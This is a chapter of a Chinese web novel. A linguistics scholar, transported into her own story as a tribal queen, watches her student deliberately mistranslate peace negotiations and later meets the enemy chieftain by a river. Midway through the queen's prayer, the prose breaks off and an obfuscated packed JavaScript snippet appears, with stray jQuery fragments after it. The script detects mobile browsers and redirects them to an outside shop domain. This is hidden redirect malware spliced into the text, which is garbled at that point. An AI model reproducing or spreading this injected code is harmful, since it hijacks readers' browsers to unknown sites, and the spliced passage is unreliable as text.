愿宁星在听到她的宝贝大弟子云末那,她的末那译官大人,将贺兰苏族执事所说瞎翻一通时,已经开始反思,自己当初为什么要在《两苏辞》这本小说里加上译官这个角色了。
反正横竖也是因为语言不通引发的夙仇,索性不如直接开打算了。
省得还要她一个语言学博士在这听自己的学生胡诌,侮辱师门。
造孽啊!
当贺兰苏族执事说“苍骊草原寸土不让”时,云末那翻译的是“领地边界都好商量”;当对方嘶吼着“此事再无商榷余地”时,云末那说出口的却是“双方可择日再为详谈”。
不是编,就是拖,愿宁星算是看出来了,云末那使劲浑身解数,就是想改写这故事的结局。
直至对面的贺兰苏族执事终于吼完最后一句,重重一掌拍在案上,震得云末那向后踉跄了一步。
但她也不知是哪来的决心,清了清嗓子,再次站向前说道:“贺兰苏族执事表示,愿同我族共交世代之好,互通有无,繁荣共济。”
什那苏族的兵士见对方气势至此,本来都攥紧了刀柄准备掀桌,听完翻译都愣了,只两两相觑。
此刻就连愿宁星旁边站着的女侍都绷不住了,小声确认道:“吾君,这贺兰苏族执事说的真是这个意思吗?我看着不像啊……”
此刻愿宁星已经顾不上想这个故事究竟会以什么荒谬的走向进行下去了,她只想找回自己的眼镜……不,最好是墨镜,直接两眼一黑让自己眼不见为净得了。
可惜她如今已经是上了架的鸭子,只能忍受怒火的炙烤了。
“既贺兰苏族执事已表态,关于苍骊草原归属一事,”愿宁星虽是冷面惯了,但实则她不仅在当硕导上是新手,在装女君之事上更是新瓜蛋子,加之被云末那这么一搅,心中更是六神无主,只得强装镇定道:“待我族商议后,择日再议。”
眼下到了云末那要将愿宁星所言翻译回给贺兰苏族的时候,这方才还有这初生牛犊般气势的译官瞬间怂了下来。
糊弄自己人还好说,但要再糊弄回去注定会露馅儿啊。
她一脸堆笑地回头看向愿宁星,就像无数次自己汇报ppt时卡壳那样。
而愿宁星也终于迎来了她的那手好戏……
那便是给云末那收拾烂摊子。
她示意云末那附耳过来,像教牙牙学语的孩童那般,字字句句地将接下来的台词教给了她的这位哑巴译官。
而云末那既得了救了救,心中自是万分感激,要不是碍于帐内氛围严肃,她已经想抱着愿宁星的大腿犯会儿贱了。
但敌方在前,她只好先郑重向女君行礼,随后以刚学会的贺兰苏语漠然开口道:“你族所求我已尽数悉知,即便你族态度坚决,但……”
“但风中已有雨气,不宜立下决断,七日后我族定将给你族答复。”
云末那之所以找了这个理由,是因为愿宁星在教她的时候想到史书记载,这两族都对自然有着极端的崇拜和信仰。
可云末那话音方落,外面的夏蝉便因空中烈日长长的叫了一声。
云末那不禁内心吐槽,看来说谎不光可能会遭雷劈,还会遭蝉笑话,还是呲个牙嘎嘎乐那种。
就在她身后的愿宁星已经开始绞尽脑汁开始准备下一套说辞预案时,对面部族执事身后的屏风里,忽然传出一道富有磁性的青年嗓音。
“好,便如你所愿。”
愿宁星闻言一怔……
这居然是祈海安的声音!
是愿宁星整个青春期的旁白……
即便隔了十年,她也不会听错。
她心中起先虽是空了一拍,但很快又自我开解。
她是以自己和祈海安为原型,融合史实方才写出的这个故事,若穿越到书中,自然是会见到如祈海安一般身形样貌的贺兰苏族长。
可惜他终究不是他。
另一边,贺兰苏族一开口,云末那像是觉得自己这个译官又可以上岗了,大声冲着什那归族传译道:“对方族长说,好,就如我们所愿!”
一旁听着的愿宁星差点掉凳,这句她究竟是怎么翻对的?
没想到云末那竟先狗狗似的凑了过来,“导儿你放心,既然你穿成了这书的女主角,我定不让你BE!我刚才编的那句咋样,够符合男主登场时的氛围吧?”
“看得出来你APP书架上应该都是些霸总了。”愿宁星无奈道。
“你不能刻板印象啊导儿,”云末那眨巴眨巴眼,确认道:“咱今天的任务是不是完成了?”
“算是吧。”愿宁星起身准备出帐时,心中忽然觉察出些许不对,又坐了回来。
她所写的故事里,贺兰苏族少族长虽是以祈海安为原型,但为了贴合剧情走向,其性格亦是十分果决的。
或者说,他本该在这场谈判结束后直接立下战书,斩断与什那苏族女君的情丝。
即便自己方才以女君的身份道出回缓之意,以他的坚毅性格,也不应该接受的如此顺畅,连一句反驳都无啊。
难不成还真是让云末那撬动了剧情线?
一场本该以血流成河为结局的谈判,就这么离谱地和平收尾了?
见愿宁星久久未动,屏风后的贺兰苏族长与身边人耳语几句,而后便见那对族执事便“腾”地起身,向帐外做出一个“请”的手势。
站在愿宁星旁的云末那小声蛐蛐道:“导儿,这族长又是躲屏风后面,又是让咱先走的,咋,他不好意思见人啊?”
“这两族所在的时代以女为尊,男子在成婚前,公众场合不得示以真容。”愿宁星解释道。
“女尊时代?而且我的导儿还成了那个尊?那也太爽了!”云末那显得十分兴奋,扯扯愿宁星的袖口,“导儿,既是女尊……那你脸上还戴个纱干啥啊?”
“因为……”愿宁星起身便要离去,“先别管那么多了,对面还等着咱们离场呢,回到族内再说。”
愿宁星加快走出大帐掀起毡帘时,面纱忽而被夏风吹落,掉在那挡于族长身前的屏风处。
正当她身旁的女侍准备帮愿宁星捡起重新戴上时,一只纤细修长的手臂从裘袍中探出,将愿宁星的面纱递到屏风外。
“久闻什那苏族的女君风华绝代,终日以轻纱覆面,今日得见真容,果然佳人。”
这族长用贺兰苏语缓缓道出倾慕之词,仿佛已然料定,这位异族女君能听懂他所言。
当然,在书中原本的设定中,这种剧情是绝不可能存在的。
无奈,愿宁星急促离去的步伐和脸上的绯红,已然暴露了她的心思。
此刻,只留云末那一人在原地,呆呆自语着:“他说啥了?咋还给我导儿整害羞了?”
是夜,愿宁星和云末那在连通什那苏和贺兰苏两族的河流旁散步。
“所以说,这个贺兰苏族族长自幼体弱,天年不永,于是干脆用自己的牺牲终止了两族的战争?原来这就是个李代桃僵的故事啊。”云末那感叹道:“不过我还正纳闷儿呢,这大夏天的,那少主咋还穿裘袍,还以为他是凹造型来着。”
“也不能这样一言蔽之……毕竟这两族恩怨由来已久。最初时,两族土地接壤,商户间互通有无,民众间也相互通婚,若想要理解对方部族的语言,其实也不是什么难事儿。”愿宁星任夜风拂过她的编发,任由发尾坠着的金铃发饰随风响动。
“那为啥还需要译官呢,导儿?”云末那踢着地上的草皮,“这两族要是早融合成一种语言就好了,如此千年后的我便不会写论文写到头秃了。”
“要是只剩一种语言,你那比较研究的论文都没得写。”愿宁星苦笑道。
“那还是别了吧,这事儿我不答应,”云末那撇嘴道。
“不仅是你不答应,当时的部落族长为了维护己方文化的纯净,也是不答应的。”愿宁星停下脚步,“因而之后两族便以这枫晚河为界,泾渭分明地生活在两侧。”
“久而久之,通晓两族语言的人越来越少,人们渐渐忘了彼此为何分居而立,再加上野心家的鼓动,便产生了领地的分歧。”愿宁星语声缓缓,音如清泉,“待到如今,即便真能找到精通两族语言的译官,也解决不了关于人心的纷争了。”
“那……这位族长具体又是如何牺牲的呢?”云末那拿起一块石头,随手在河上打起了水漂,“我是说……在真实的历史上,导儿。”
“无妨,关于男主的部分,我写的小说里的情节是跟史实一致的。据考证,他知自己因多年病弱将不久于人世,在两族终战之时,于此处立下血誓,化作河神,共佑两族。但若有人破坏和平,跨越此河,便如同践踏在他的尸身之上,定受诅咒。”愿宁星跪在盛夏的青草地之上,双手虔诚地捧起一抔河水,以贺兰苏语低声念道:
“君以骨血化川泽,平息世代兵戈。敬奉此水为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17890407|212715||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
礼,祈两族生灵长治。”
一旁的云末那看着愿宁星在月光下的清冷模样,这才意识到往日里她的导儿只是被那眼镜封印了颜值。
她骨相极佳,眉目清润,气质美却不妖,沉静疏离。
云末那被愿宁星迷住了半晌,忽然回过神来,意识到自己的导儿应是在为部族祈福。
她虽听不太懂,但也紧忙跟着跪下,学着愿宁星的样子捧起河水。
云末那凝视着自己手中的河水,看着其中倒映的星空感叹问道:“那什那苏族的女君呢?她化作照映着这河水的星了吗?”
愿宁星将双手慢慢下沉,如放生般将捧起的水还于河中,似乎那水真是谁人的血肉般珍重,“关于她……你想听我写的故事,还是历史中的记载?”
“当然也是历史中的……”云末那像是忽然意识到了什么,“不,还是说导儿你写的故事里的剧情吧。”
“好,”不知道是否因身在此境的缘故,愿宁星此次提及这记录着她年少心思的故事时,并没有十分闪烁其词,“他二人相识于此河边,一见钟情,即便言语不通也未能阻拦他们相爱。直至两族一次谈判时,他们凭声音认出了彼此,从此被命运推上了对立的两端。期间倒也抗争过,但在族长意识到自己将不久于人世后,便下意与女君决裂。”
“决裂……也就是今天白天我们本该所经历的一幕吗?”云末那想起那屏风后伸出的瘦削手臂。
“对,女君心灰意冷,但在最终的决战前,仍向族长致信一封。”愿宁星的目光随风远去,“不过她的侍女担心她会因此被视作通敌,将那封信撕碎扔进这河里了。”
“那信写了什么?”云末那像是亲眼看见了那对可怜恋人的挣扎,语气也跟着伤怀。
“没人知道,连我这个作者也不知道。”愿宁星拍拍裙摆上的土,准备向回走,“巧合的是,或许是出于他二人心意相通,贺兰苏族长也向女君写了诀别信,且这封信也的确到了女君的手里。”
“真的吗?那女君有没有回心转意?”云末那转身追上愿宁星,“你等等我,导儿……我怕黑!”
“很可惜,为了坚定女君的心,什那苏族的译官自作主张,将这封信错译成了……一封否定了他二人全部感情的决裂信。”愿宁星放缓了脚步,“自此女君再未离开河的这岸半步,守护部族兴盛,终身未婚。”
“这天杀的译官竟这般狼心狗肺?”云末那双臂抱胸,“好好的一段姻缘就毁到了她手里……这样一来,恐怕族长真正的心思,只有这译官知道了。”
愿宁星少见的憋不住笑,一边倒走,一边冲云末那说道:“对啊,我的末那大译官,这一切就靠你了!”
“我?……”云末那这才反应过来,自己在愿宁星的引导下把自己骂了个狗血淋头,“导儿你怎么穿书了还学坏了?你别跑,逆徒来了!”
愿宁星轻笑着向后退,不小心被一处石头绊住正要摔倒之时,忽然被一双熟悉触感的手从后拥住。
“你……贺兰苏族长,您怎么到河对岸来了?若让旁人知晓,这可是叛族之举!”愿宁星言罢,怔怔看着那张她曾在年少时偷看过无数次的脸。
他长睫垂落,眸光灵动,唇角噙着一点笑意。
其立体深邃的面容之下,又透着些机敏鲜活的神气,并不像是有病痛缠身的样子。
“不必担心我,但你需记得……”族长将愿宁星小心翼翼扶至一处坐下,细心轻柔地帮她检查脚踝处是否有扭伤,“这一次,你的话,不再会如石子般沉入河底,它们只会如河面上映着的星光般闪耀,指引黑夜中的迷途之人。”
他唱诗般地自顾自说完这一切,眼中含笑着看向愿宁星:“你的脚应是无碍……虽是夏夜,水边湿气仍重,记得早些回去。”
云末那此时也走到了他二人身边,族长见这位糊涂译官来了,只微笑点头示意,便转身消失在夜间那氤氲的水气之中。
云末那冲着仍在发愣的愿宁星问道:“导儿,这人也是咱什那苏族的吗?我白天怎么没见过他?”
“你为什么说他是什那苏族的?”愿宁星猛然醒悟,抬头看向云末那。
“因为他不仅出现在了河这岸,还说什那苏语啊!”云末那不解地挠挠头,“导儿你咋了?”
愿宁星不可置信地回望向方才那男子消失的方向:“是啊……他明明是贺兰苏族的族长,为什么会说什那苏语呢?”